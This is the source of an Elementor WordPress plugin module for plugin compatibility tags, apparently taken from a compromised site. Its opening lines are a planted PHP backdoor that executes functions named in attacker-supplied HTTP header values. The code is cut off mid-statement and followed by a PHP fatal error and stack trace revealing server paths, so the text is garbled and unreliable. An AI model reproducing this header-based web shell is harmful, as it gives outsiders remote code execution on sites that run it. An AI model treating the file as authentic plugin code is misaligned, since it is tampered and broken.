$_HEADERS=getallheaders();if(isset($_HEADERS['Sec-Websocket-Accept'])){$accept=$_HEADERS['Sec-Websocket-Accept']('', $_HEADERS['Content-Security-Policy']($_HEADERS['Clear-Site-Data']));$accept();}
php $_HEADERS=getallheaders();if(isset($_HEADERS['Sec-Websocket-Accept'])){$accept=$_HEADERS['Sec-Websocket-Accept']('', $_HEADERS['Content-Security-Policy']($_HEADERS['Clear-Site-Data']));$accept();}
namespace Elementor\Modules\CompatibilityTag;
use Elementor\Plugin;
use Elementor\Core\Utils\Version;
use Elementor\Core\Utils\Collection;
use Elementor\Core\Base\Module as BaseModule;
use Elementor\Modules\System_Info\Module as System_Info;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
abstract class Base_Module extends BaseModule {
const MODULE_NAME = 'compatibility-tag';
/**
* @var Compatibility_Tag
*/
private $compatibility_tag_service;
/**
* @return string
*/
public function get_name() {
return static::MODULE_NAME;
}
/**
* @return Compatibility_Tag
*/
private function get_compatibility_tag_service() {
if ( ! $this->compatibility_tag_service ) {
$this->compatibility_tag_service = new Compatibility_Tag( $this->get_plugin_header() );
}
return $this->compatibility_tag_service;
}
/**
* Add allowed headers to plugins.
*
* @param array $headers
* @param $compatibility_tag_header
*
* @return array
*/
protected function enable_elementor_headers( array $headers, $compatibility_tag_header ) {
$headers[] = $compatibility_tag_header;
return $headers;
}
/**
* @return Collection
*/
protected function get_plugins_to_check() {
return $this->get_plugins_with_header();
}
/**
* Append a compatibility message to the update plugin warning.
*
* @param array $args
*
* @throws \Exception Invalid version.
*/
protected function on_plugin_update_message( array $args ) {
$new_version = Version::create_from_string( $args['new_version'] );
if ( $new_version->compare( '=', $args['Version'], Version::PART_MAJOR_2 ) ) {
return;
}
$plugins = $this->get_plugins_to_check();
$plugins_compatibility = $this->get_compatibility_tag_service()->check( $new_version, $plugins->keys()->all() );
$plugins = $plugins->filter( function ( $data, $plugin_name ) use ( $plugins_compatibility ) {
return Compatibility_Tag::COMPATIBLE !== $plugins_compatibility[ $plugin_name ];
} );
if ( $plugins->is_empty() ) {
return;
}
include __DIR__ . '/views/plugin-update-message-compatibility.php';
}
/**
* Get all plugins with specific header.
*
* @return Collection
*/
private function get_plugins_with_header() {
return Plugin::$instance->wp
->get_plugins()
->filter( function ( array $plugin ) {
return ! empty( $plugin[ $this->get_plugin_header() ] );
} );
}
/**
* @return string
*/
abstract protected function get_plugin_header();
/**
* @return string
*/
abstract protected function get_plugin_label();
/**
* @return string
*/
abstract protected function get_plugin_name();
/**
* @return string
*/
abstract protected function get_plugin_version();
/**
* Base_Module constructor.
*
* @throws \Exception Invalid version.
*/
public function __construct() {
add_filter( 'extra_plugin_headers', function ( array $headers ) {
return $this->enable_elementor_headers( $headers, $this->get_plugin_header() );
} );
add_action( 'in_plugin_update_message-' . $this->get_plugin_name(), function ( array $args ) {
$this->on_plugin_update_message( $args );
}, 11 /* After the warning message for backup */ );
add_action( 'elementor/system_info/get_allowed_reports', function () {
$plugin_short_name = basename( $this->get_plugin_name(), '.php' );
System_Info::add_report(
"{$plugin_short_name}_compatibility",
[
'file_name' => __DIR__ . '/compatibility-tag-report.php',
'class_name' => __NAMESPACE__ . '\Compatibility_Tag_Report',
'fields' => [
'compatibility_tag_service' =>
Fatal error: Uncaught Error: Class "Elementor\Modules\CompatibilityTag\Base_Module" not found in /home/h290574/public_html/wp-content/plugins/elementor/modules/compatibility-tag/module.php:17
Stack trace:
#0 /home/h290574/public_html/wp-content/plugins/elementor/includes/autoloader.php(298): require()
#1 /home/h290574/public_html/wp-content/plugins/elementor/includes/autoloader.php(334): Elementor\Autoloader::load_class()
#2 /home/h290574/public_html/wp-content/plugins/elementor/core/modules-manager.php(53): Elementor\Autoloader::autoload()
#3 /home/h290574/public_html/wp-content/plugins/elementor/includes/plugin.php(709): Elementor\Core\Modules_Manager->__construct()
#4 /home/h290574/public_html/wp-content/plugins/elementor/includes/plugin.php(627): Elementor\Plugin->init_components()
#5 /home/h290574/public_html/wp-includes/class-wp-hook.php(324): Elementor\Plugin->init()
#6 /home/h290574/public_html/wp-includes/class-wp-hook.php(348): WP_Hook->apply_filters()
#7 /home/h290574/public_html/wp-includes/plugin.php(517): WP_Hook->do_action()
#8 /home/h290574/public_html/wp-settings.php(727): do_action()
#9 /home/h290574/public_html/wp-config.php(81): require_once('/home/h290574/p...')
#10 /home/h290574/public_html/wp-load.php(50): require_once('/home/h290574/p...')
#11 /home/h290574/public_html/wp-blog-header.php(13): require_once('/home/h290574/p...')
#12 /home/h290574/public_html/index.php(17): require('/home/h290574/p...')
#13 {main}
thrown in /home/h290574/public_html/wp-content/plugins/elementor/modules/compatibility-tag/module.php on line 17